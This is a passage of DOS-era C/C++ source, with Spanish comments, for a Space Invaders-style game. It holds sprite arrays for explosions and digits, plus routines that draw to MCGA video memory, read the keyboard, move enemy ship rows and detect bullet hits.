        {0, 0, 0, 40, 40, 41, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 41, 40, 40, 0, 0, 0},
        {0, 0, 0, 0, 40, 40, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 40, 40, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}   
    };
byte explo3[32][23]=//[16] "y dupli" 32..[23]"x"
      {
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 41, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 41, 0, 0, 0, 0, 0},
        {0, 0, 0, 41, 41, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 41, 0, 0, 0, 0},
        {0, 0, 41, 41, 42, 42, 42, 43, 43, 43, 43, 43, 43, 43, 43, 43, 42, 42, 42, 41, 0, 0, 0},
        {0, 0, 41, 42, 42, 42, 43, 43, 44, 44, 44, 44, 44, 44, 44, 43, 43, 42, 42, 42, 41, 0, 0},
        {0, 0, 41, 42, 42, 43, 43, 44, 40, 40, 40, 40, 40, 40, 40, 44, 43, 43, 42, 42, 41, 0, 0},
        {0, 0, 41, 42, 42, 43, 43, 44, 40, 40, 40, 40, 40, 40, 40, 44, 43, 43, 42, 42, 41, 0, 0},
        {0, 0, 41, 42, 42, 42, 43, 43, 44, 44, 44, 44, 44, 44, 44, 43, 43, 42, 42, 42, 41, 0, 0},
        {0, 0, 0, 41, 42, 42, 42, 43, 43, 43, 43, 43, 43, 43, 43, 43, 42, 42, 42, 41, 0, 0, 0},
        {0, 0, 0, 0, 41, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 41, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 41, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 41, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
      }; 
byte explo4[32][23]=//[16] "y dupli" 32..[23]"x"
  {
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 42, 42, 43, 43, 43, 43, 43, 43, 43, 43, 43, 42, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 42, 42, 43, 43, 44, 44, 44, 44, 44, 44, 44, 43, 43, 42, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 42, 43, 43, 44, 40, 40, 40, 40, 40, 40, 40, 44, 43, 43, 42, 0, 0, 0, 0},
        {0, 0, 0, 0, 42, 43, 43, 44, 40, 40, 40, 40, 40, 40, 40, 44, 43, 43, 42, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 42, 43, 43, 44, 44, 44, 44, 44, 44, 44, 43, 43, 42, 42, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 42, 43, 43, 43, 43, 43, 43, 43, 43, 43, 42, 42, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
  };
 
byte cero[20][12]=//[10] "y dupli" 20..[12]"x"
  {
        {0, 0, 0, 16, 16, 16, 16, 16, 16, 0, 0, 0},
        {0, 0, 16, 2, 2, 2, 16, 2, 2, 16, 0, 0},
        {0, 16, 2, 2, 2, 16, 0, 16, 16, 2, 16, 0},
        {0, 16, 2, 2, 2, 16, 16, 0, 16, 2, 16, 0},
        {16, 2, 2, 2, 2, 2, 16, 16, 16, 2, 2, 16},
        {16, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 16},
        {0, 16, 2, 2, 2, 2, 2, 2, 2, 2, 16, 0},
        {0, 16, 2, 2, 2, 2, 2, 2, 2, 2, 16, 0},
        {0, 0, 16, 2, 2, 2, 2, 2, 2, 16, 0, 0},
        {0, 0, 0, 16, 16, 16, 16, 16, 16, 0, 0, 0}
  };
 
byte uno[20][12]=//[10] "y dupli" 20..[12]"x"
  {
        {0, 0, 0, 0, 16, 16, 16, 0, 0, 0, 0, 0},
        {0, 0, 16, 16, 2, 2, 16, 0, 0, 0, 0, 0},
        {16, 16, 16, 2, 2, 2, 16, 0, 0, 0, 0, 0},
        {0, 0, 16, 2, 2, 2, 16, 0, 0, 0, 0, 0},
        {0, 0, 16, 2, 2, 2, 16, 0, 0, 0, 0, 0},
        {0, 0, 16, 2, 2, 2, 16, 0, 0, 0, 0, 0},
        {0, 0, 16, 2, 2, 16, 0, 0, 0, 0, 0, 0},
        {0, 0, 16, 2, 2, 16, 0, 0, 0, 0, 0, 0},
        {0, 0, 16, 2, 2, 16, 0, 0, 0, 0, 0, 0},
        {0, 16, 16, 16, 16, 16, 16, 16, 0, 0, 0, 0}
  };

byte dos[20][12]=//[10] "y dupli" 20..[12]"x"
  {
        {0, 0, 0, 16, 16, 16, 16, 16, 16, 0, 0, 0},
        {0, 16, 16, 2, 16, 16, 2, 2, 2, 16, 0, 0},
        {0, 16, 2, 16, 0, 16, 2, 2, 2, 16, 0, 0},
        {0, 16, 16, 0, 0, 16, 2, 2, 2, 16, 0, 0},
        {0, 0, 16, 0, 16, 2, 2, 2, 2, 16, 16, 0},
        {0, 0, 0, 0, 16, 2, 2, 2, 16, 2, 16, 0},
        {0, 0, 0, 16, 2, 2, 16, 16, 2, 16, 16, 0},
        {0, 0, 16, 2, 16, 16, 16, 16, 16, 2, 16, 0},
        {0, 16, 2, 2, 16, 2, 2, 2, 2, 2, 16, 0},
        {16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 0, 0}
  };

byte tres[20][12]=//[10] "y dupli" 20..[12]"x"
  {
        {0, 0, 16, 16, 16, 16, 16, 16, 16, 0, 0, 0},
        {0, 16, 16, 2, 16, 16, 2, 2, 2, 16, 0, 0},
        {0, 16, 2, 16, 0, 0, 16, 2, 2, 16, 0, 0},
        {0, 16, 16, 0, 0, 16, 16, 2, 16, 16, 0, 0},
        {0, 16, 0, 0, 16, 16, 2, 16, 16, 16, 0, 0},
        {0, 0, 0, 16, 16, 16, 16, 2, 2, 2, 16, 0},
        {16, 0, 0, 16, 16, 0, 16, 2, 2, 2, 16, 0},
        {16, 16, 16, 0, 0, 0, 16, 2, 2, 2, 16, 0},
        {0, 16, 2, 16, 16, 16, 2, 2, 2, 16, 0, 0},
        {0, 16, 16, 16, 16, 16, 16, 16, 16, 0, 0, 0}
  };

byte cuatro[20][12]=//[10] "y dupli" 20..[12]"x"
  {
        {0, 0, 0, 0, 0, 16, 16, 16, 16, 16, 16, 0},
        {0, 0, 0, 0, 16, 2, 2, 2, 2, 16, 0, 0},
        {0, 0, 0, 16, 2, 2, 16, 2, 2, 16, 0, 16},
        {0, 0, 16, 2, 2, 16, 16, 2, 2, 16, 16, 16},
        {0, 0, 16, 2, 16, 16, 16, 2, 2, 16, 2, 16},
        {0, 16, 2, 16, 16, 2, 2, 2, 2, 2, 2, 16},
        {0, 16, 16, 16, 16, 16, 16, 2, 16, 16, 16, 16},
        {0, 0, 0, 0, 0, 0, 16, 2, 2, 16, 0, 16},
        {0, 0, 0, 0, 0, 16, 2, 2, 2, 16, 0, 0},
        {0, 0, 0, 0, 16, 16, 16, 16, 16, 16, 16, 0}
  };

byte cinco[20][12]=//[10] "y dupli" 20..[12]"x"
  {
        {0, 16, 16, 16, 16, 16, 16, 16, 16, 16, 0, 0},
        {0, 16, 2, 16, 2, 2, 2, 2, 2, 16, 0, 0},
        {0, 16, 2, 16, 16, 16, 16, 16, 16, 16, 0, 0},
        {0, 16, 16, 16, 16, 16, 16, 16, 16, 16, 0, 0},
        {16, 2, 2, 16, 16, 2, 2, 2, 2, 16, 0, 0},
        {16, 16, 16, 0, 0, 16, 2, 2, 2, 2, 16, 0},
        {0, 16, 16, 0, 0, 0, 16, 2, 2, 2, 16, 0},
        {0, 16, 2, 16, 16, 16, 2, 2, 2, 2, 16, 0},
        {16, 16, 16, 2, 2, 2, 2, 2, 2, 16, 0, 0},
        {16, 0, 0, 16, 16, 16, 16, 16, 16, 0, 0, 0}
  };

byte seis[20][12]=//[10] "y dupli" 20..[12]"x"
  {
        {0, 0, 16, 16, 16, 16, 16, 16, 16, 16, 0, 0},
        {0, 16, 16, 2, 16, 16, 16, 2, 16, 0, 0, 0},
        {16, 2, 2, 16, 0, 0, 0, 16, 0, 0, 0, 0},
        {16, 2, 2, 16, 16, 16, 16, 16, 16, 0, 0, 0},
        {16, 2, 2, 16, 16, 16, 16, 2, 2, 16, 0, 0},
        {16, 2, 2, 2, 16, 2, 16, 2, 2, 2, 16, 0},
        {16, 2, 2, 16, 16, 16, 2, 2, 2, 2, 16, 0},
        {16, 2, 2, 2, 2, 2, 2, 2, 2, 16, 16, 0},
        {0, 16, 2, 2, 2, 2, 2, 2, 16, 16, 0, 0},
        {0, 0, 16, 16, 16, 16, 16, 16, 16, 0, 0, 0},
    };

byte siete[20][12]=//[10] "y dupli" 20..[12]"x"
  {
        {16, 0, 0, 16, 16, 16, 16, 16, 16, 16, 16, 0},
        {16, 16, 16, 2, 2, 2, 2, 2, 2, 16, 0, 0},
        {16, 2, 2, 2, 2, 16, 16, 16, 2, 16, 0, 0},
        {0, 16, 16, 16, 16, 0, 16, 2, 2, 16, 0, 0},
        {0, 16, 16, 0, 0, 16, 2, 2, 16, 0, 0, 0},
        {0, 16, 0, 0, 0, 16, 2, 2, 16, 0, 0, 0},
        {0, 16, 0, 0, 16, 2, 2, 2, 16, 0, 0, 0},
        {0, 0, 0, 16, 2, 2, 2, 16, 0, 0, 0, 0},
        {0, 0, 16, 16, 2, 2, 2, 16, 0, 0, 0, 0},
        {0, 16, 16, 16, 16, 16, 16, 16, 16, 0, 0, 0}
    };

byte ocho[20][12]=//[10] "y dupli" 20..[12]"x"
  {
        {0, 0, 16, 16, 16, 16, 16, 16, 0, 0, 0, 0},
        {0, 0, 16, 0, 16, 16, 2, 2, 16, 0, 0, 0},
        {0, 0, 16, 16, 16, 2, 2, 2, 16, 0, 0, 0},
        {0, 0, 16, 16, 2, 2, 2, 16, 16, 0, 0, 0},
        {0, 16, 2, 2, 2, 2, 16, 16, 2, 16, 0, 0},
        {16, 2, 2, 2, 2, 2, 16, 0, 16, 2, 16, 0},
        {16, 2, 2, 2, 2, 2, 2, 16, 16, 16, 16, 0},
        {16, 2, 2, 2, 2, 2, 2, 2, 2, 2, 16, 0},
        {16, 16, 2, 2, 2, 2, 2, 2, 2, 16, 0, 0},
        {0, 0, 16, 16, 16, 16, 16, 16, 16, 0, 0, 0}
    };

byte nueve[20][12]=//[10] "y dupli" 20..[12]"x"
  {
        {0, 0, 16, 16, 16, 16, 16, 16, 16, 0, 0, 0},
        {0, 16, 2, 2, 2, 2, 2, 2, 2, 16, 0, 0},
        {16, 16, 2, 2, 2, 2, 2, 2, 2, 2, 16, 0},
        {16, 2, 2, 2, 2, 16, 16, 16, 2, 2, 16, 0},
        {16, 2, 2, 2, 2, 16, 16, 16, 2, 2, 16, 0},
        {0, 16, 2, 2, 2, 2, 2, 16, 16, 2, 16, 0},
        {0, 16, 16, 16, 16, 16, 16, 16, 2, 2, 16, 0},
        {0, 16, 16, 16, 0, 0, 16, 16, 2, 2, 16, 0},
        {0, 0, 16, 2, 16, 16, 2, 2, 16, 16, 0, 0},
        {0, 0, 16, 16, 16, 16, 16, 16, 0, 0, 0, 0}
  };

 
/*********************************************************/**************************************************************************
 *  Video MCGA  200*320                                                  *           
 *                                                                        *
 **************************************************************************/
void video(int tipo)
{
  REGS entrada,salida;
  entrada.h.ah = 0;
  entrada.h.al = tipo;
  int86(0x10,&entrada,&salida);
}
/*********************************************************/**************************************************************************
 *  Checa si escribiste una tecla y cual es                              *
 *    Si no continua con el proceso                                      *
 **************************************************************************/
int checa_tecla(char &c, byte &sc)
{ struct REGS en,sal;

  en.h.ah = 1;
  int86(22,&en,&sal);
  if (!(sal.x.flags&64))
  {
  en.h.ah = 0;
  int86(0x16,&en,&sal);
  c = sal.h.al;
  sc= sal.h.ah;
  }
  return !(sal.x.flags&64);
}
/*********************************************************/**************************************************************************
 *  Escribe el fondo                                                      *
 *    Hace que gire                                                      *
 **************************************************************************/
void fondo(int color,int cont2)
{
  for(int i=0; i<200; i++)
  {
    for(int c=0;c<320;c++)
    {
      char far *ptr=(char far*)0x0A0000000;
      ptr+=i*320+c;
      *ptr=color;
    }
    if(color==17)
      {cont2=0;}
    if(color==30)
      {cont2=1;}
    if(cont2==0)
      {color=color+1;}
    if(cont2==1)
      {color=color-1;}
  }
}
/*********************************************************/**************************************************************************
 *  Respaldo Puntuacion                                                  *
 *                                                                        *
 **************************************************************************/
void respunt(byte oso[18][86], int renglon, int columna)//oso[44]"Y" [43]"X"
{
  char far *ptr = (char far *)0xA0000000;  //ptr apunta a inicio de MCGA

  ptr += 320*renglon + columna;

  for (int i=0;i<9;i++)//"Y" mitad
  {
      for (int j=0;j<86;j++)//"X"
      {
          oso[9+i][j] = *ptr;
          ptr++;
      }
      ptr += 320 - 86;//"X"
    }
}
/*********************************************************/**************************************************************************
 *  Escribe Puntuacion                                                    *
 *                                                                        *
 **************************************************************************/
void MCGApunt(byte nave[9][86], int r, int c)//nave[44]"y" [43]"x"
{
    char far *ptr = (char far *)0x0A0000000;
  ptr+=320*r+c;
    for (unsigned int i=0;i<9;i++)//"y"
    {
      for (unsigned int j=0;j<86;j++)//"X"
      {
        if (nave[i][j]==0)
          {
            *ptr=nave[i+9][j];//"Y"
          }
        else
          *ptr = nave[i][j];
            ptr++;
      }
    ptr+=320-86;//"X"
    }
}
/*********************************************************/**************************************************************************
 *  Respaldo Salud                                                        *
 *                                                                        *
 **************************************************************************/
void respsalud(byte oso[18][43], int renglon, int columna)//oso[18]"Y" [43]"X"
{
  char far *ptr = (char far *)0xA0000000;  //ptr apunta a inicio de MCGA

  ptr += 320*renglon + columna;

  for (int i=0;i<9;i++)//"Y" mitad
  {
      for (int j=0;j<43;j++)//"X"
      {
          oso[9+i][j] = *ptr;
          ptr++;
      }
      ptr += 320 - 43;//"X"
    }
}
/*********************************************************/**************************************************************************
 *  Escribe Salud                                                        *
 *                                                                        *
 **************************************************************************/
void MCGAsalud(byte nave[9][43], int r, int c)//nave[9]"y" [43]"x"
{
    char far *ptr = (char far *)0x0A0000000;
  ptr+=320*r+c;
    for (unsigned int i=0;i<9;i++)//"y"
    {
      for (unsigned int j=0;j<43;j++)//"X"
      {
        if (nave[i][j]==0)
          {
            *ptr=nave[i+9][j];//"Y"
          }
        else
          *ptr = nave[i][j];
            ptr++;
      }
    ptr+=320-43;//"X"
    }
}
/*********************************************************/**************************************************************************
 *  Respaldo Vidas                                                        *
 *                                                                        *
 **************************************************************************/
void respvidas(byte oso[18][45], int renglon, int columna)//oso[18]"Y" [45]"X"
{
  char far *ptr = (char far *)0xA0000000;  //ptr apunta a inicio de MCGA

  ptr += 320*renglon + columna;

  for (int i=0;i<9;i++)//"Y" mitad
  {
      for (int j=0;j<45;j++)//"X"
      {
          oso[9+i][j] = *ptr;
          ptr++;
      }
      ptr += 320 - 45;//"X"
    }
}
/*********************************************************/**************************************************************************
 *  Escribe Vidas                                                        *
 *                                                                        *
 **************************************************************************/
void MCGAvidas(byte nave[9][45], int r, int c)//nave[9]"y" [45]"x"
{
    char far *ptr = (char far *)0x0A0000000;
  ptr+=320*r+c;
    for (unsigned int i=0;i<9;i++)//"y"
    {
      for (unsigned int j=0;j<45;j++)//"X"
      {
        if (nave[i][j]==0)
          {
            *ptr=nave[i+9][j];//"Y"
          }
        else
          *ptr = nave[i][j];
            ptr++;
      }
    ptr+=320-45;//"X"
    }
}
/*********************************************************/**************************************************************************
 *  Respaldo Nave chica VIDAS                                            *
 *                                                                        *
 **************************************************************************/
void respnv_vidas(byte oso[20][21], int renglon, int columna)//oso[20]"Y" [21]"X"
{
  char far *ptr = (char far *)0xA0000000;  //ptr apunta a inicio de MCGA

  ptr += 320*renglon + columna;

  for (int i=0;i<10;i++)//"Y" mitad
  {
      for (int j=0;j<21;j++)//"X"
      {
          oso[10+i][j] = *ptr;
          ptr++;
      }
      ptr += 320 - 21;//"X"
    }
}
/*********************************************************/**************************************************************************
 *  Escribe Nave chica VIDAS                                              *
 *                                                                        *
 **************************************************************************/
void MCGAnv_vidas(byte nave[10][21], int r, int c)//nave[10]"y" [21]"x"
{
    char far *ptr = (char far *)0x0A0000000;
  ptr+=320*r+c;
    for (unsigned int i=0;i<10;i++)//"y"
    {
      for (unsigned int j=0;j<21;j++)//"X"
      {
        if (nave[i][j]==0)
          {
            *ptr=nave[i+10][j];//"Y"
          }
        else
          *ptr = nave[i][j];
            ptr++;
      }
    ptr+=320-21;//"X"
    }
}
/*********************************************************/**************************************************************************
 *  Escribe Linea Nave Buenas chicas Vidas                                *
 *                                                                        *
 **************************************************************************/
void filanvvidas(int x, int vidas)
{
  for (int w=0; w<vidas; w++)
  {
    MCGAnv_vidas(nv_vidas,0,x);//nave mala,y,x
    x+=23;
  }
}
/*********************************************************/**************************************************************************
 *  Respaldo Nave buena                                                  *
 *                                                                        *
 **************************************************************************/
void respnvbuena(byte oso[44][43], int renglon, int columna)//oso[44]"Y" [43]"X"
{
  char far *ptr = (char far *)0xA0000000;  //ptr apunta a inicio de MCGA

  ptr += 320*renglon + columna;

  for (int i=0;i<21;i++)//"Y" mitad
  {
      for (int j=0;j<43;j++)//"X"
      {
          oso[22+i][j] = *ptr;
          ptr++;
      }
      ptr += 320 - 43;//"X"
    }
}
/*********************************************************/**************************************************************************
 *  Escribe Nave Buena                                                    *
 *                                                                        *
 **************************************************************************/
void MCGAnvbuena(byte nave[22][43], int r, int c)//nave[44]"y" [43]"x"
{
    char far *ptr = (char far *)0x0A0000000;
  ptr+=320*r+c;
    for (unsigned int i=0;i<21;i++)//"y"
    {
      for (unsigned int j=0;j<43;j++)//"X"
      {
        if (nave[i][j]==0)
          {
            *ptr=nave[i+22][j];//"Y"
          }
        else
          *ptr = nave[i][j];
            ptr++;
      }
    ptr+=320-43;//"X"
    }
}
/*********************************************************/**************************************************************************
 *  Respaldo Nave Mala                                                    *
 *                                                                        *
 **************************************************************************/
void respnvmala(byte oso[32][23], int renglon, int columna)//oso[32]"Y" [23]"X"
{
  char far *ptr = (char far *)0xA0000000;  //ptr apunta a inicio de MCGA

  ptr += 320*renglon + columna;

  for (int i=0;i<16;i++)//"Y" mitad
  {
      for (int j=0;j<23;j++)//"X"
      {
          oso[16+i][j] = *ptr;
          ptr++;
      }
      ptr += 320 - 23;//"X"
    }
}
/*********************************************************/**************************************************************************
 *  Escribe Nave Mala                                                    *
 *                                                                        *
 **************************************************************************/
void MCGAnvmala(byte nave[16][23], int r, int c)//nave[16]"y" [23]"x"
{
    char far *ptr = (char far *)0x0A0000000;
  ptr+=320*r+c;
    for (unsigned int i=0;i<16;i++)//"y"
    {
      for (unsigned int j=0;j<23;j++)//"X"
      {
        if (nave[i][j]==0)
          {
            *ptr=nave[i+16][j];//"Y"
          }
        else
          *ptr = nave[i][j];
            ptr++;
      }
    ptr+=320-23;//"X"
    }
}
/*********************************************************/**************************************************************************
 *  Respaldo Explocion Nave Mala                                          *
 *                                                                        *
 **************************************************************************/
void respexplo(byte oso[32][23], int renglon, int columna)//oso[32]"Y" [23]"X"
{
  char far *ptr = (char far *)0xA0000000;  //ptr apunta a inicio de MCGA

  ptr += 320*renglon + columna;

  for (int i=0;i<16;i++)//"Y" mitad
  {
      for (int j=0;j<23;j++)//"X"
      {
          oso[16+i][j] = *ptr;
          ptr++;
      }
      ptr += 320 - 23;//"X"
    }
}
/*********************************************************/**************************************************************************
 *  Escribe explocion                                                    *
 *                                                                        *
 **************************************************************************/
void MCGAexplo(byte nave[16][23], int r, int c)//nave[16]"y" [23]"x"
{
    char far *ptr = (char far *)0x0A0000000;
  ptr+=320*r+c;
    for (unsigned int i=0;i<16;i++)//"y"
    {
      for (unsigned int j=0;j<23;j++)//"X"
      {
        if (nave[i][j]==0)
          {
            *ptr=nave[i+16][j];//"Y"
          }
        else
          *ptr = nave[i][j];
            ptr++;
      }
    ptr+=320-23;//"X"
    }
}
/*********************************************************/**************************************************************************
 *  Mueve Naves Malas                                                    *
 *                                                                        *
 **************************************************************************/
void muevenvmalas(int &p,int &cont2,int vel,int &y3,int &y2,int &y1,int izq,int dere)//0-147
{
   
    if(p==izq)
      {cont2=0;y3=y3+5;y2=y2+5;y1=y1+5;}
    if(p>=dere)
      {cont2=1;y3=y3+5;y2=y2+5;y1=y1+5;}
    if(cont2==0)
      {p=p+vel;}
    if(cont2==1)
      {p=p-vel;}
}
/*********************************************************/**************************************************************************
 *  Escribe Balas Nave Buena                                              *
 *                                                                        *
 **************************************************************************/
void balamover(byte nbbala[6][1],int r,int c)// bala
  {
    char far *ptr = (char far *)0x0A0000000;
  ptr+=320*r+c;
    for (unsigned int i=0;i<6;i++)//"y"
    {
      for (unsigned int j=0;j<1;j++)//"X"
      {
        *ptr = nbbala[i][j];
              ptr++;
      }
    ptr+=320-1;//"X"
    }
  }
/*********************************************************/**************************************************************************
 *  Elimina la fila de las naves malas y Escribe Explosion 3              *
 *                                                                        *
 **************************************************************************/
void eliminanv3(byte nvmala[16][23],int &p,int &h,int &a3,int &b3,int &c3,int &d3,int &e3,int &f3,int &by,int &bx,int &sum,int &exp,int &col,int &cont,int y3, float &punt)// 1 renglon de naves
{
respnvmala(nvmala,y3,p);//nave mala,y,x
       
        //***************************************** nave 2,1
        if(a3==1 && ((by<y3+16 && by>y3) && (bx>p && bx<p+23)))
            {a3=0;by=0;sum=sum+1;exp=1;punt=punt+1.8;}

        //***************************************** nave 2,2
        if(b3==1 && ((by<y3+16 && by>y3) && (bx>p+30 && bx<p+53)))
            {b3=0;by=0;sum=sum+1;exp=1;punt=punt+1.8;}
        //***************************************** nave 2,3
        if(c3==1 && ((by<y3+16 && by>y3) && (bx>p+60 && bx<p+83)))
            {c3=0;by=0;sum=sum+1;exp=1;punt=punt+1.8;}

        //***************************************** nave 2,4
        if(d3==1 && ((by<y3+16 && by>y3) && (bx>p+90 && bx<p+113)))
            {d3=0;by=0;sum=sum+1;exp=1;punt=punt+1.8;}

        //***************************************** nave 2,5
        if(e3==1 && ((by<y3+16 && by>y3) && (bx>p+120 && bx<p+143)))
            {e3=0;by=0;sum=sum+1;exp=1;punt=punt+1.8;}

        //***************************************** nave 2,6
        if(f3==1 && ((by<y3+16 && by>y3) && (bx>p+150 && bx<p+173)))
            {f3=0;by=0;sum=sum+1;exp=1;punt=punt+1.8;}
   
        //***************************************** eliminando naves
        if(a3==1)
            MCGAnvmala(nvmala,y3,p);// 1 nave mala,y,x
        if(b3==1)   
            MCGAnvmala(nvmala,y3,p+30);// 2 nave mala,y,x
        if(c3==1)
            MCGAnvmala(nvmala,y3,p+60);// 3 nave mala,y,x
        if(d3==1)   
            MCGAnvmala(nvmala,y3,p+90);// 4 nave mala,y,x
        if(e3==1)   
            MCGAnvmala(nvmala,y3,p+120);// 5 nave mala,y,x
        if(f3==1)   
            MCGAnvmala(nvmala,y3,p+150);// 6 nave mala,y,x
     
        if(exp==4)
            {respexplo(explo4,y3,col);
            MCGAexplo(explo4,y3,col);
            exp=0;}
          if(exp==3)
            {respexplo(explo3,y3,col);
            MCGAexplo(explo3,y3,col);
            exp=4;}
          if(exp==2)
            {respexplo(explo2,y3,col);
            MCGAexplo(explo2,y3,col);
            exp=3;} 
          if(exp==1)
          {
            respexplo(explo1,y3,p);//nave mala,y,x
            if(a3==0)
              {MCGAexplo(explo1,y3,p);
              cont++;
              if(cont==4)
              {a3=2;exp=2;col=p;cont=0;}}
            if(b3==0)   
              {MCGAexplo(explo1,y3,p+30);
              cont++;
              if(cont==4)
              {b3=2;exp=2;col=p+y3;cont=0;}}
            if(c3==0)
              {MCGAexplo(explo1,y3,p+60);
              cont++;
              if(cont==4)
              {c3=2;exp=2;col=p+60;cont=0;}}
            if(d3==0)   
              {MCGAexplo(explo1,y3,p+90);
              cont++;
              if(cont==4)
              {d3=2;exp=2;col=p+90;cont=0;}}
            if(e3==0)   
              {MCGAexplo(explo1,y3,p+120);
              cont++;
              if(cont==4)
              {e3=2;exp=2;col=p+120;cont=0;}}
            if(f3==0)   
              {MCGAexplo(explo1,y3,p+150);
              cont++;
              if(cont==4)
              {f3=2;exp=2;col=p+150;cont=0;}}
            }
         
}
/*********************************************************/**************************************************************************
 *  Elimina la fila de las naves malas y Escribe Explosion 2              *
 *                                                                        *
 **************************************************************************/
void eliminanv2(byte nvmala[16][23],int &p,int &h,int &a2,int &b2,int &c2,int &d2,int &e2,int &f2,int &by,int &bx,int &sum,int &exp,int &col,int &cont, int y2, float &punt)// 2 renglon de naves
{
respnvmala(nvmala,y2,p);//nave mala,y,x
     
       
        //***************************************** nave 2,1
        if(a2==1 && ((by<y2+16 && by>y2) && (bx>p && bx<p+23)))
            {a2=0;by=0;sum=sum+1;exp=1;punt=punt+1.8;}

        //***************************************** nave 2,2
        if(b2==1 && ((by<y2+16 && by>y2) && (bx>p+30 && bx<p+53)))
            {b2=0;by=0;sum=sum+1;exp=1;punt=punt+1.8;}
        //***************************************** nave 2,3
        if(c2==1 && ((by<y2+16 && by>y2) && (bx>p+60 && bx<p+83)))
            {c2=0;by=0;sum=sum+1;exp=1;punt=punt+1.8;}

        //***************************************** nave 2,4
        if(d2==1 && ((by<y2+16 && by>y2) && (bx>p+90 && bx<p+113)))
            {d2=0;by=0;sum=sum+1;exp=1;punt=punt+1.8;}

        //***************************************** nave 2,5
        if(e2==1 && ((by<y2+16 && by>y2) && (bx>p+120 && bx<p+143)))
            {e2=0;by=0;sum=sum+1;exp=1;punt=punt+1.8;}

        //***************************************** nave 2,6
        if(f2==1 && ((by<y2+16 && by>y2) && (bx>p+150 && bx<p+173)))
            {f2=0;by=0;sum=sum+1;exp=1;punt=punt+1.8;}
   
        //***************************************** eliminando naves
        if(a2==1)
            MCGAnvmala(nvmala,y2,p);// 1 nave mala,y,x
        if(b2==1)   
            MCGAnvmala(nvmala,y2,p+30);// 2 nave mala,y,x
        if(c2==1)
            MCGAnvmala(nvmala,y2,p+60);// 3 nave mala,y,x
        if(d2==1)   
            MCGAnvmala(nvmala,y2,p+90);// 4 nave mala,y,x
        if(e2==1)   
            MCGAnvmala(nvmala,y2,p+120);// 5 nave mala,y,x
        if(f2==1)   
            MCGAnvmala(nvmala,y2,p+150);// 6 nave mala,y,x
       
           
          if(exp==4)
            {respexplo(explo4,y2,col);
            MCGAexplo(explo4,y2,col);
            exp=0;}
          if(exp==3)
            {respexplo(explo3,y2,col);
            MCGAexplo(explo3,y2,col);
            exp=4;}
          if(exp==2)
            {respexplo(explo2,y2,col);
            MCGAexplo(explo2,y2,col);
            exp=3;} 
         
          if(exp==1)
          {
            respexplo(explo1,y2,p);//nave mala,y,x
            if(a2==0)
              {MCGAexplo(explo1,y2,p);
              cont++;
              if(cont==4)
              {a2=2;exp=2;col=p;cont=0;}}
            if(b2==0)   
              {MCGAexplo(explo1,y2,p+30);
              cont++;
              if(cont==4)
              {b2=2;exp=2;col=p+30;cont=0;}}
            if(c2==0)
              {MCGAexplo(explo1,y2,p+60);
              cont++;
              if(cont==4)
              {c2=2;exp=2;col=p+60;cont=0;}}
            if(d2==0)   
              {MCGAexplo(explo1,y2,p+90);
              cont++;
              if(cont==4)
              {d2=2;exp=2;col=p+90;cont=0;}}
            if(e2==0)   
              {MCGAexplo(explo1,y2,p+120);
              cont++;
              if(cont==4)
              {e2=2;exp=2;col=p+120;cont=0;}}
            if(f2==0)   
              {MCGAexplo(explo1,y2,p+150);
              cont++;
              if(cont==4)
